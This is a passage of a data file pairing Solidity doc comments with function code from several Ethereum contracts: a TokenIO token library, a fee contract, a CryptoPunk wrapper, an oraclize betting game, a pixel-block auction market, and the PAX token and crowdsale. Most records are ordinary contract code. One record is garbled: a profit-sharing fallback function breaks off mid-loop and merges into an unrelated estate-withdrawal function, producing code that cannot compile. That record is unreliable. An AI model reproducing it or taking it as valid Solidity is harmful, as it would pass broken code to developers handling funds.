holder\r\n * @param amount Value to reduce allowance by (i.e. the amount spent)\r\n * @return { \"success\" : \"Return true if successfully called from another contract\" }\r\n */", "function_code": "function updateAllowance(Data storage self, string currency, address account, uint amount) internal returns (bool success) {\r\n bytes32 id = keccak256(abi.encodePacked('token.allowance', currency, getForwardedAccount(self, account), getForwardedAccount(self, msg.sender)));\r\n require(\r\n self.Storage.setUint(id, self.Storage.getUint(id).sub(amount)),\r\n \"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.\"\r\n );\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Low-level method to set the allowance for a spender\r\n * @dev | This method is called inside the `approve()` ERC20 method\r\n * @dev | msg.sender == account holder\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param spender Ethereum address of account spender\r\n * @param amount Value to set for spender allowance\r\n * @return { \"success\" : \"Return true if successfully called from another contract\" }\r\n */", "function_code": "function approveAllowance(Data storage self, address spender, uint amount) internal returns (bool success) {\r\n require(spender != 0x0,\r\n \"Error: `spender` address cannot be null.\");\r\n\r\n string memory currency = getTokenSymbol(self, address(this));\r\n\r\n require(\r\n getTokenFrozenBalance(self, currency, getForwardedAccount(self, spender)) == 0,\r\n \"Error: Spender must not have a frozen balance directly\");\r\n\r\n bytes32 id_a = keccak256(abi.encodePacked('token.allowance', currency, getForwardedAccount(self, msg.sender), getForwardedAccount(self, spender)));\r\n bytes32 id_b = keccak256(abi.encodePacked('token.balance', currency, getForwardedAccount(self, msg.sender)));\r\n\r\n require(\r\n self.Storage.getUint(id_a) == 0 || amount == 0,\r\n \"Error: Allowance must be zero (0) before setting an updated allowance for spender.\");\r\n\r\n require(\r\n self.Storage.getUint(id_b) >= amount,\r\n \"Error: Allowance cannot exceed msg.sender token balance.\");\r\n\r\n require(\r\n self.Storage.setUint(id_a, amount),\r\n \"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.\");\r\n\r\n emit Approval(msg.sender, spender, amount);\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Deposit an amount of currency into the Ethereum account holder\r\n * @dev | The total supply of the token increases only when new funds are deposited 1:1\r\n * @dev | This method should only be called by authorized issuer firms\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param currency Currency symbol of the token (e.g. USDx, JYPx, GBPx)\r\n * @param account Ethereum address of account holder to deposit funds for\r\n * @param amount Value of currency to deposit for account\r\n * @param issuerFirm Name of the issuing firm authorizing the deposit\r\n * @return { \"success\" : \"Return true if successfully called from another contract\" }\r\n */", "function_code": "function deposit(Data storage self, string currency, address account, uint amount, string issuerFirm) internal returns (bool success) {\r\n bytes32 id_a = keccak256(abi.encodePacked('token.balance', currency, getForwardedAccount(self, account)));\r\n bytes32 id_b = keccak256(abi.encodePacked('token.issued', currency, issuerFirm));\r\n bytes32 id_c = keccak256(abi.encodePacked('token.supply', currency));\r\n\r\n\r\n require(self.Storage.setUint(id_a, self.Storage.getUint(id_a).add(amount)),\r\n \"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.\");\r\n require(self.Storage.setUint(id_b, self.Storage.getUint(id_b).add(amount)),\r\n \"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.\");\r\n require(self.Storage.setUint(id_c, self.Storage.getUint(id_c).add(amount)),\r\n \"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.\");\r\n\r\n emit Deposit(currency, account, amount, issuerFirm);\r\n\r\n return true;\r\n\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Method for setting a registered issuer firm\r\n * @dev | Only Token, Inc. and other authorized institutions may set a registered firm\r\n * @dev | The TokenIOAuthority.sol interface wraps this method\r\n * @dev | If the registered firm is unapproved; all authorized addresses of that firm will also be unapproved\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param issuerFirm Name of the firm to be registered\r\n * @param approved Approval status to set for the firm (true/false)\r\n * @return { \"success\" : \"Return true if successfully called from another contract\" }\r\n */", "function_code": "function setRegisteredFirm(Data storage self, string issuerFirm, bool approved) internal returns (bool success) {\r\n bytes32 id = keccak256(abi.encodePacked('registered.firm', issuerFirm));\r\n require(\r\n self.Storage.setBool(id, approved),\r\n \"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.\"\r\n );\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Set transaction status if the transaction has been used\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param txHash keccak256 ABI tightly packed encoded hash digest of tx params\r\n * @return { \"success\" : \"Return true if successfully called from another contract\" }\r\n */", "function_code": "function setTxStatus(Data storage self, bytes32 txHash) internal returns (bool success) {\r\n bytes32 id = keccak256(abi.encodePacked('tx.status', txHash));\r\n /// @dev Ensure transaction has not yet been used;\r\n require(!getTxStatus(self, txHash),\r\n \"Error: Transaction status must be false before setting the transaction status.\");\r\n\r\n /// @dev Update the status of the transaction;\r\n require(self.Storage.setBool(id, true),\r\n \"Error: Unable to set storage value. Please ensure contract has allowed permissions with storage contract.\");\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Deprecate a contract interface\r\n * @dev | This is a low-level method to deprecate a contract interface.\r\n * @dev | This is useful if the interface needs to be updated or becomes out of date\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param contractAddress Ethereum address of the contract interface\r\n * @return {\"success\" : \"Returns true if successfully called from another contract\"}\r\n */", "function_code": "function setDeprecatedContract(Data storage self, address contractAddress) internal returns (bool success) {\r\n require(contractAddress != 0x0,\r\n \"Error: cannot deprecate a null address.\");\r\n\r\n bytes32 id = keccak256(abi.encodePacked('depcrecated', contractAddress));\r\n\r\n require(self.Storage.setBool(id, true),\r\n \"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract.\");\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Set the Account Spending Period Limit as UNIX timestamp\r\n * @dev | Each account has it's own daily spending limit\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param account Ethereum address of the account holder\r\n * @param period Unix timestamp of the spending period\r\n * @return {\"success\" : \"Returns true is successfully called from a contract\"}\r\n */", "function_code": "function setAccountSpendingPeriod(Data storage self, address account, uint period) internal returns (bool success) {\r\n bytes32 id = keccak256(abi.encodePacked('limit.spending.period', account));\r\n require(self.Storage.setUint(id, period),\r\n \"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract.\");\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Set the account spending amount for the daily period\r\n * @dev | Each account has it's own daily spending limit\r\n * @dev | This transaction will throw if the new spending amount is greater than the limit\r\n * @dev | This method is called in the `transfer()` and `transferFrom()` methods\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param account Ethereum address of the account holder\r\n * @param amount Set the amount spent for the daily period\r\n * @return {\"success\" : \"Returns true is successfully called from a contract\"}\r\n */", "function_code": "function setAccountSpendingAmount(Data storage self, address account, uint amount) internal returns (bool success) {\r\n\r\n /// @dev NOTE: Always ensure the period is current when checking the daily spend limit\r\n require(updateAccountSpendingPeriod(self, account),\r\n \"Error: Unable to update account spending period.\");\r\n\r\n uint updatedAmount = getAccountSpendingAmount(self, account).add(amount);\r\n\r\n /// @dev Ensure the spend limit is greater than the amount spend for the period\r\n require(\r\n getAccountSpendingLimit(self, account) >= updatedAmount,\r\n \"Error: Account cannot exceed its daily spend limit.\");\r\n\r\n /// @dev Update the spending period amount if within limit\r\n bytes32 id = keccak256(abi.encodePacked('account.spending.amount', account, getAccountSpendingPeriod(self, account)));\r\n require(self.Storage.setUint(id, updatedAmount),\r\n \"Error: Unable to set storage value. Please ensure contract interface is allowed by the storage contract.\");\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Low-level API to ensure the account spending period is always current\r\n * @dev | This method is internally called by `setAccountSpendingAmount()` to ensure\r\n * spending period is always the most current daily period.\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param account Ethereum address of the account holder\r\n * @return {\"success\" : \"Returns true is successfully called from a contract\"}\r\n */", "function_code": "function updateAccountSpendingPeriod(Data storage self, address account) internal returns (bool success) {\r\n uint begDate = getAccountSpendingPeriod(self, account);\r\n if (begDate > now) {\r\n return true;\r\n } else {\r\n uint duration = 86400; // 86400 seconds in a day\r\n require(\r\n setAccountSpendingPeriod(self, account, begDate.add(((now.sub(begDate)).div(duration).add(1)).mul(duration))),\r\n \"Error: Unable to update account spending period.\");\r\n\r\n return true;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Set the foreign currency exchange rate to USD in basis points\r\n * @dev | This value should always be relative to USD pair; e.g. JPY/USD, GBP/USD, etc.\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param currency The TokenIO currency symbol (e.g. USDx, JPYx, GBPx)\r\n * @param bpsRate Basis point rate of foreign currency exchange rate to USD\r\n * @return { \"success\": \"Returns true if successfully called from another contract\"}\r\n */", "function_code": "function setFxUSDBPSRate(Data storage self, string currency, uint bpsRate) internal returns (bool success) {\r\n bytes32 id = keccak256(abi.encodePacked('fx.usd.rate', currency));\r\n require(\r\n self.Storage.setUint(id, bpsRate),\r\n \"Error: Unable to update account spending period.\");\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Return the foreign currency USD exchanged amount\r\n * @param self Internal storage proxying TokenIOStorage contract\r\n * @param currency The TokenIO currency symbol (e.g. USDx, JPYx, GBPx)\r\n * @param fxAmount Amount of foreign currency to exchange into USD\r\n * @return {\"amount\" : \"Returns the foreign currency amount in USD\"}\r\n */", "function_code": "function getFxUSDAmount(Data storage self, string currency, uint fxAmount) internal view returns (uint amount) {\r\n uint usdDecimals = getTokenDecimals(self, 'USDx');\r\n uint fxDecimals = getTokenDecimals(self, currency);\r\n /// @dev ensure decimal precision is normalized to USD decimals\r\n uint usdAmount = ((fxAmount.mul(getFxUSDBPSRate(self, currency)).div(10000)).mul(10**usdDecimals)).div(10**fxDecimals);\r\n return usdAmount;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n \t * @notice Set Fee Parameters for Fee Contract\r\n \t * @dev The min, max, flat transaction fees should be relative to decimal precision\r\n \t * @param feeBps Basis points transaction fee\r\n \t * @param feeMin Minimum transaction fees\r\n \t * @param feeMax Maximum transaction fee\r\n \t * @param feeFlat Flat transaction fee\r\n \t * returns {\"success\" : \"Returns true if successfully called from another contract\"}\r\n \t */", "function_code": "function setFeeParams(uint feeBps, uint feeMin, uint feeMax, uint feeFlat, bytes feeMsg) public onlyOwner returns (bool success) {\r\n\t\trequire(lib.setFeeBPS(feeBps), \"Error: Unable to set fee contract basis points.\");\r\n\t\trequire(lib.setFeeMin(feeMin), \"Error: Unable to set fee contract minimum fee.\");\r\n\t\trequire(lib.setFeeMax(feeMax), \"Error: Unable to set fee contract maximum fee.\");\r\n\t\trequire(lib.setFeeFlat(feeFlat), \"Error: Unable to set fee contract flat fee.\");\r\n\t\trequire(lib.setFeeMsg(feeMsg), \"Error: Unable to set fee contract default message.\");\r\n\t\treturn true;\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n \t * @notice Transfer collected fees to another account; onlyOwner\r\n \t * @param currency Currency symbol of the token (e.g. USDx, JYPx, GBPx)\r\n \t * @param to \t\t\tEthereum address of account to send token amount to\r\n \t * @param amount\t Amount of tokens to transfer\r\n \t * @param data\t\t Arbitrary bytes data message to include in transfer\r\n \t * @return {\"success\": \"Returns ture if successfully called from another contract\"}\r\n \t */", "function_code": "function transferCollectedFees(string currency, address to, uint amount, bytes data) public onlyOwner returns (bool success) {\r\n\t\trequire(\r\n\t\t\tlib.forceTransfer(currency, address(this), to, amount, data),\r\n\t\t\t\"Error: unable to transfer fees to account.\"\r\n\t\t);\r\n\t\treturn true;\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n * @dev Burns a specific wrapped punk\r\n */", "function_code": "function burn(uint256 punkIndex)\r\n public\r\n whenNotPaused\r\n {\r\n address sender = _msgSender();\r\n\r\n require(_isApprovedOrOwner(sender, punkIndex), \"PunkWrapper: caller is not owner nor approved\");\r\n\r\n _burn(punkIndex);\r\n\r\n // Transfers ownership of punk on original cryptopunk smart contract to caller\r\n _punkContract.transferPunk(sender, punkIndex);\r\n }", "version": "0.5.17"} {"comment": "// -------------------------------------------------------------------------\n// Public external interface\n// -------------------------------------------------------------------------", "function_code": "function () external payable {\r\n // Distribute deposited Ether to all members related to their profit-share\r\n for (uint i=0; i 0, \"WITHDRAWAL_COMPLETE\");\n uint256[] memory sizes = new uint256[](num);\n uint256[] memory xs = new uint256[](num);\n uint256[] memory ys = new uint256[](num);\n for (uint256 i = 0; i < num; i++) {\n (uint16 x, uint16 y, uint8 size) = _decode(list[num - 1 - i]);\n _quadsInEstate[estateId].pop();\n sizes[i] = size;\n xs[i] = x;\n ys[i] = y;\n }\n delete _quadsInEstate[estateId];\n _land.batchTransferQuad(address(this), to, sizes, xs, ys, \"\");\n emit QuadsRemoved(estateId, num);\n }", "version": "0.6.5"} {"comment": "/*only oracle can call this method*/", "function_code": "function __callback(bytes32 myid, string memory result)public payable {\r\n require (msg.sender == oraclize_cbAddress(), 'Only an oracle can call a method.');\r\n \r\n if(drunkard_game_hystory[myid].status){\r\n /* map random result to player */\r\n strings.slice memory oraclize_result = result.toSlice();\r\n strings.slice memory part;\r\n //serial number of request for random.org\r\n uint serilal = parseInt(oraclize_result.split(\",\".toSlice(), part).toString()); \r\n //random number from random.org\r\n uint choices = parseInt(oraclize_result.split(\",\".toSlice(), part).toString()); \r\n //game ID\r\n uint game = parseInt(oraclize_result.split(\",\".toSlice(), part).toString());\r\n \r\n if(game == GAME_DRUNKARD_ID){\r\n __drunkard_result(myid, serilal, choices);\r\n }\r\n }\r\n }", "version": "0.5.7"} {"comment": "/*calculate winnings based on callback oraclize.io and random.org*/", "function_code": "function __drunkard_result(bytes32 _id, uint _serial, uint _random)internal {\r\n address payable player = drunkard_game_hystory[_id].from;\r\n uint choice = drunkard_game_hystory[_id].choice;\r\n uint bet = drunkard_game_hystory[_id].bet;\r\n bool winner = false;\r\n uint profit;\r\n \r\n if(choice == _random){\r\n winner = true;\r\n //calculation of winnings: bet + 125% - 3% ccommission\r\n uint start_profit = bet.mul(PERCENT_TO_WIN).div(100);\r\n //system commission 3%\r\n uint commission = start_profit.mul(MARKETING_PERCENT).div(100);\r\n profit = start_profit - commission; \r\n drunkard_game_hystory[_id].profit = profit;\r\n marketing_address.transfer(commission);\r\n player.transfer(profit);\r\n }else{\r\n drunkard_game_hystory[_id].profit = 0;\r\n }\r\n \r\n drunkard_game_hystory[_id].timestamp = now;\r\n drunkard_game_hystory[_id].game_choice = _random;\r\n drunkard_game_hystory[_id].winner = winner;\r\n drunkard_game_hystory[_id].status = false;\r\n drunkard_game_hystory[_id].serial = _serial;\r\n //delete the record of the pending user transaction\r\n playerPendingWithdrawals[player] = playerPendingWithdrawals[player].sub(bet);\r\n emit Drunkard(player, 1, choice, bet, _random, winner, profit, _id);\r\n }", "version": "0.5.7"} {"comment": "/*get game specific data*/", "function_code": "function getGame(bytes32 _game)public view returns(\r\n address from,\r\n bytes32 queryId,\r\n uint round,\r\n bool winner,\r\n uint bet,\r\n uint choice,\r\n uint game_choice,\r\n uint timestamp,\r\n uint profit,\r\n bool status,\r\n uint serial) {\r\n from = drunkard_game_hystory[_game].from;\r\n queryId = drunkard_game_hystory[_game].queryId;\r\n round = drunkard_game_hystory[_game].round;\r\n winner = drunkard_game_hystory[_game].winner;\r\n bet = drunkard_game_hystory[_game].bet;\r\n choice = drunkard_game_hystory[_game].choice;\r\n game_choice = drunkard_game_hystory[_game].game_choice;\r\n timestamp = drunkard_game_hystory[_game].timestamp;\r\n profit = drunkard_game_hystory[_game].profit;\r\n status = drunkard_game_hystory[_game].status;\r\n serial = drunkard_game_hystory[_game].serial;\r\n }", "version": "0.5.7"} {"comment": "/**\n * @dev Returns the features for the specific crew member\n * @param _crewId The ERC721 tokenId for the crew member\n * @param _mod A modifier between 0 and 10,000\n */", "function_code": "function getFeatures(uint _crewId, uint _mod) public view returns (uint) {\n require(generatorSeed != \"\", \"ArvadCitizenGenerator: seed not yet set\");\n uint features = 0;\n uint mod = _mod;\n bytes32 crewSeed = getCrewSeed(_crewId);\n uint sex = generateSex(crewSeed);\n features |= sex << 8; // 2 bytes\n features |= generateBody(crewSeed, sex) << 10; // 16 bytes\n uint class = generateClass(crewSeed);\n features |= class << 26; // 8 bytes\n features |= generateArvadJob(crewSeed, class, mod) << 34; // 16 bytes\n features |= generateClothes(crewSeed, class) << 50; // 16 bytes to account for color variation\n features |= generateHair(crewSeed, sex) << 66; // 16 bytes\n features |= generateFacialFeatures(crewSeed, sex) << 82; // 16 bytes\n features |= generateHairColor(crewSeed) << 98; // 8 bytes\n features |= generateHeadPiece(crewSeed, class, mod) << 106; // 8 bytes\n return features;\n }", "version": "0.7.6"} {"comment": "/**\r\n * @notice Will emit default URI log event for corresponding token _id\r\n * @param _tokenIDs Array of IDs of tokens to log default URI\r\n */", "function_code": "function _logURIs(uint256[] memory _tokenIDs) internal {\r\n string memory baseURL = baseMetadataURI;\r\n string memory tokenURI;\r\n\r\n for (uint256 i = 0; i < _tokenIDs.length; i++) {\r\n tokenURI = string(abi.encodePacked(baseURL, _uint2str(_tokenIDs[i]), \".json\"));\r\n emit URI(tokenURI, _tokenIDs[i]);\r\n }\r\n }", "version": "0.5.0"} {"comment": "// for another burn like 3.7 million or some more", "function_code": "function burnOf(uint256 tAmount) public {\r\n uint256 currentRate = _getRate();\r\n uint256 rAmount = tAmount.mul(currentRate);\r\n\r\n // subtract additional burn from total supply\r\n _tTotal = _tTotal.sub(tAmount);\r\n\r\n // subtract additional burn from reflection supply\r\n _rTotal = _rTotal.sub(rAmount);\r\n\r\n emit Transfer(_msgSender(), address(0), tAmount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Overwrite ERC721 transferFrom with our specific needs\r\n * @notice This transfer has to be approved and then triggered by the _to\r\n * address in order to avoid sending unwanted pixels\r\n * @param _from Address sending token\r\n * @param _to Address receiving token\r\n * @param _tokenId ID of the transacting token\r\n * @param _price Price of the token being transfered\r\n * @param _x X coordinate of the desired block\r\n * @param _y Y coordinate of the desired block\r\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _tokenId, uint256 _price, uint256 _x, uint256 _y)\r\n public\r\n auctionNotOngoing(_x, _y)\r\n {\r\n _subFromValueHeld(msg.sender, _price, false);\r\n _addToValueHeld(_to, _price);\r\n require(_to == msg.sender);\r\n Pixel memory pixel = pixelByCoordinate[_x][_y];\r\n\r\n super.transferFrom(_from, _to, _tokenId);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Buys pixel blocks\r\n * @param _x X coordinates of the desired blocks\r\n * @param _y Y coordinates of the desired blocks\r\n * @param _price New prices of the pixel blocks\r\n * @param _contentData Data for the pixel\r\n */", "function_code": "function buyUninitializedPixelBlocks(uint256[] _x, uint256[] _y, uint256[] _price, bytes32[] _contentData)\r\n public\r\n {\r\n require(_x.length == _y.length && _x.length == _price.length && _x.length == _contentData.length);\r\n for (uint i = 0; i < _x.length; i++) {\r\n require(_price[i] > 0);\r\n _buyUninitializedPixelBlock(_x[i], _y[i], _price[i], _contentData[i]);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Trigger a dutch auction\r\n * @param _x X coordinate of the desired block\r\n * @param _y Y coordinate of the desired block\r\n */", "function_code": "function beginDutchAuction(uint256 _x, uint256 _y)\r\n public\r\n auctionNotOngoing(_x, _y)\r\n validRange(_x, _y)\r\n {\r\n Pixel storage pixel = pixelByCoordinate[_x][_y];\r\n\r\n require(!userHasPositveBalance(pixel.seller));\r\n require(pixel.auctionId == 0);\r\n\r\n // Start a dutch auction\r\n pixel.auctionId = _generateDutchAuction(_x, _y);\r\n uint256 tokenId = _encodeTokenId(_x, _y);\r\n\r\n _updatePixelMapping(pixel.seller, _x, _y, pixel.price, pixel.auctionId, \"\");\r\n\r\n emit BeginDutchAuction(\r\n pixel.id,\r\n tokenId,\r\n pixel.auctionId,\r\n msg.sender,\r\n _x,\r\n _y,\r\n block.timestamp,\r\n block.timestamp.add(1 days)\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Allow a user to bid in an auction\r\n * @param _x X coordinate of the desired block\r\n * @param _y Y coordinate of the desired block\r\n * @param _bid Desired bid of the user\r\n */", "function_code": "function bidInAuction(uint256 _x, uint256 _y, uint256 _bid)\r\n public\r\n validRange(_x, _y)\r\n {\r\n Pixel memory pixel = pixelByCoordinate[_x][_y];\r\n Auction storage auction = auctionById[pixel.auctionId];\r\n\r\n uint256 _tokenId = _encodeTokenId(_x, _y);\r\n require(pixel.auctionId != 0);\r\n require(auction.currentPrice < _bid);\r\n require(block.timestamp < auction.endTime);\r\n\r\n auction.currentPrice = _bid;\r\n auction.currentLeader = msg.sender;\r\n\r\n emit UpdateAuctionBid(\r\n pixel.id,\r\n _tokenId,\r\n auction.auctionId,\r\n msg.sender,\r\n _bid,\r\n block.timestamp\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * End the auction\r\n * @param _x X coordinate of the desired block\r\n * @param _y Y coordinate of the desired block\r\n */", "function_code": "function endDutchAuction(uint256 _x, uint256 _y)\r\n public\r\n validRange(_x, _y)\r\n {\r\n Pixel memory pixel = pixelByCoordinate[_x][_y];\r\n Auction memory auction = auctionById[pixel.auctionId];\r\n\r\n require(pixel.auctionId != 0);\r\n require(auction.endTime < block.timestamp);\r\n\r\n // End dutch auction\r\n address winner = _endDutchAuction(_x, _y);\r\n _updatePixelMapping(winner, _x, _y, auction.currentPrice, 0, \"\");\r\n\r\n // Update user values\r\n _subFromValueHeld(pixel.seller, pixel.price, true);\r\n _addToValueHeld(winner, auction.currentPrice);\r\n\r\n uint256 tokenId = _encodeTokenId(_x, _y);\r\n removeTokenFrom(pixel.seller, tokenId);\r\n addTokenTo(winner, tokenId);\r\n emit Transfer(pixel.seller, winner, tokenId);\r\n\r\n emit EndDutchAuction(\r\n pixel.id,\r\n tokenId,\r\n winner,\r\n _x,\r\n _y\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Buys an uninitialized pixel block for 0 ETH\r\n * @param _x X coordinate of the desired block\r\n * @param _y Y coordinate of the desired block\r\n * @param _price New price for the pixel\r\n * @param _contentData Data for the pixel\r\n */", "function_code": "function _buyUninitializedPixelBlock(uint256 _x, uint256 _y, uint256 _price, bytes32 _contentData)\r\n internal\r\n validRange(_x, _y)\r\n hasPositveBalance(msg.sender)\r\n {\r\n Pixel memory pixel = pixelByCoordinate[_x][_y];\r\n\r\n require(pixel.seller == address(0), \"Pixel must not be initialized\");\r\n\r\n uint256 tokenId = _encodeTokenId(_x, _y);\r\n bytes32 pixelId = _updatePixelMapping(msg.sender, _x, _y, _price, 0, _contentData);\r\n\r\n _addToValueHeld(msg.sender, _price);\r\n _mint(msg.sender, tokenId);\r\n\r\n emit BuyPixel(\r\n pixelId,\r\n address(0),\r\n msg.sender,\r\n _x,\r\n _y,\r\n _price,\r\n _contentData\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Buys a pixel block\r\n * @param _x X coordinate of the desired block\r\n * @param _y Y coordinate of the desired block\r\n * @param _price New price of the pixel block\r\n * @param _currentValue Current value of the transaction\r\n * @param _contentData Data for the pixel\r\n */", "function_code": "function _buyPixelBlock(uint256 _x, uint256 _y, uint256 _price, uint256 _currentValue, bytes32 _contentData)\r\n internal\r\n validRange(_x, _y)\r\n hasPositveBalance(msg.sender)\r\n returns (uint256)\r\n {\r\n Pixel memory pixel = pixelByCoordinate[_x][_y];\r\n require(pixel.auctionId == 0); // Stack to deep if this is a modifier\r\n uint256 _taxOnPrice = _calculateTax(_price);\r\n\r\n require(pixel.seller != address(0), \"Pixel must be initialized\");\r\n require(userBalanceAtLastPaid[msg.sender] >= _taxOnPrice);\r\n require(pixel.price <= _currentValue, \"Must have sent sufficient funds\");\r\n\r\n uint256 tokenId = _encodeTokenId(_x, _y);\r\n\r\n removeTokenFrom(pixel.seller, tokenId);\r\n addTokenTo(msg.sender, tokenId);\r\n emit Transfer(pixel.seller, msg.sender, tokenId);\r\n\r\n _addToValueHeld(msg.sender, _price);\r\n _subFromValueHeld(pixel.seller, pixel.price, false);\r\n\r\n _updatePixelMapping(msg.sender, _x, _y, _price, 0, _contentData);\r\n pixel.seller.transfer(pixel.price);\r\n\r\n emit BuyPixel(\r\n pixel.id,\r\n pixel.seller,\r\n msg.sender,\r\n _x,\r\n _y,\r\n pixel.price,\r\n _contentData\r\n );\r\n\r\n return _currentValue.sub(pixel.price);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Set prices for a specific block\r\n * @param _x X coordinate of the desired block\r\n * @param _y Y coordinate of the desired block\r\n * @param _price New price of the pixel block\r\n */", "function_code": "function _setPixelBlockPrice(uint256 _x, uint256 _y, uint256 _price)\r\n internal\r\n auctionNotOngoing(_x, _y)\r\n validRange(_x, _y)\r\n {\r\n Pixel memory pixel = pixelByCoordinate[_x][_y];\r\n\r\n require(pixel.seller == msg.sender, \"Sender must own the block\");\r\n _addToValueHeld(msg.sender, _price);\r\n\r\n delete pixelByCoordinate[_x][_y];\r\n\r\n bytes32 pixelId = _updatePixelMapping(msg.sender, _x, _y, _price, 0, \"\");\r\n\r\n emit SetPixelPrice(\r\n pixelId,\r\n pixel.seller,\r\n _x,\r\n _y,\r\n pixel.price\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Update pixel mapping every time it is purchase or the price is\r\n * changed\r\n * @param _seller Seller of the pixel block\r\n * @param _x X coordinate of the desired block\r\n * @param _y Y coordinate of the desired block\r\n * @param _price Price of the pixel block\r\n * @param _contentData Data for the pixel\r\n */", "function_code": "function _updatePixelMapping\r\n (\r\n address _seller,\r\n uint256 _x,\r\n uint256 _y,\r\n uint256 _price,\r\n bytes32 _auctionId,\r\n bytes32 _contentData\r\n )\r\n internal\r\n returns (bytes32)\r\n {\r\n bytes32 pixelId = keccak256(\r\n abi.encodePacked(\r\n _x,\r\n _y\r\n )\r\n );\r\n\r\n pixelByCoordinate[_x][_y] = Pixel({\r\n id: pixelId,\r\n seller: _seller,\r\n x: _x,\r\n y: _y,\r\n price: _price,\r\n auctionId: _auctionId,\r\n contentData: _contentData\r\n });\r\n\r\n return pixelId;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Constructor that gives msg.sender all of existing tokens.\r\n * @param _company address reserve tokens (300000000)\r\n * @param _founders_1 address reserve tokens (300000000)\r\n * @param _founders_2 address reserve tokens (50000000)\r\n * @param _isPause bool (pause === true)\r\n */", "function_code": "function PAXToken(address _company, address _founders_1, address _founders_2, bool _isPause) public {\r\n require(_company != address(0) && _founders_1 != address(0) && _founders_2 != address(0));\r\n paused = _isPause;\r\n totalSupply = INITIAL_SUPPLY;\r\n balances[msg.sender] = 349500000 * (10 ** uint256(decimals));\r\n balances[_company] = 300000000 * (10 ** uint256(decimals));\r\n balances[_founders_1] = 300000000 * (10 ** uint256(decimals));\r\n balances[_founders_2] = 50000000 * (10 ** uint256(decimals));\r\n emit Transfer(0x0, msg.sender, balances[msg.sender]);\r\n emit Transfer(0x0, _company, balances[_company]);\r\n emit Transfer(0x0, _founders_1, balances[_founders_1]);\r\n emit Transfer(0x0, _founders_2, balances[_founders_2]);\r\n\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Manual sending tokens\r\n * @param _to address where sending tokens\r\n * @param _value uint256 value tokens for sending\r\n */", "function_code": "function manualSendTokens(address _to, uint256 _value) public onlyOwner returns(bool) {\r\n uint tokens = _value;\r\n uint avalibleTokens = token.balanceOf(this);\r\n\r\n if (tokens < avalibleTokens) {\r\n if (tokens <= stages[3].limit) {\r\n stages[3].limit = (stages[3].limit).sub(tokens);\r\n } else if (tokens <= (stages[3].limit).add(stages[2].limit)) {\r\n stages[2].limit = (stages[2].limit).sub(tokens.sub(stages[3].limit));\r\n stages[3].limit = 0;\r\n } else if (tokens <= (stages[3].limit).add(stages[2].limit).add(stages[1].limit)) {\r\n stages[1].limit = (stages[1].limit).sub(tokens.sub(stages[3].limit).sub(stages[2].limit));\r\n stages[3].limit = 0;\r\n stages[2].limit = 0;\r\n } else if (tokens <= (stages[3].limit).add(stages[2].limit).add(stages[1].limit).add(stages[0].limit)) {\r\n stages[0].limit = (stages[0].limit).sub(tokens.sub(stages[3].limit).sub(stages[2].limit).sub(stages[1].limit));\r\n stages[3].limit = 0;\r\n stages[2].limit = 0;\r\n stages[1].limit = 0;\r\n }\r\n } else {\r\n tokens = avalibleTokens;\r\n stages[3].limit = 0;\r\n stages[2].limit = 0;\r\n stages[1].limit = 0;\r\n stages[0].limit = 0;\r\n }\r\n\r\n sendingTokens = sendingTokens.add(tokens);\r\n sumWei = sumWei.add(tokens.mul(rate).div(decimals));\r\n totalSold = totalSold.add(tokens);\r\n token.ownersTransfer(_to, tokens);\r\n\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Returns stage id\r\n */", "function_code": "function getStageId() public view returns(uint) {\r\n uint stageId;\r\n uint today = now;\r\n\r\n if (today < stages[0].stop) {\r\n stageId = 0;\r\n\r\n } else if (today >= stages[1].start &&\r\n today < stages[1].stop ) {\r\n stageId = 1;\r\n\r\n } else if (today >= stages[2].start &&\r\n today < stages[2].stop ) {\r\n stageId = 2;\r\n\r\n } else if (today >= stages[3].start &&\r\n today < stages[3].stop ) {\r\n stageId = 3;\r\n\r\n } else if (today >= stages[3].stop) 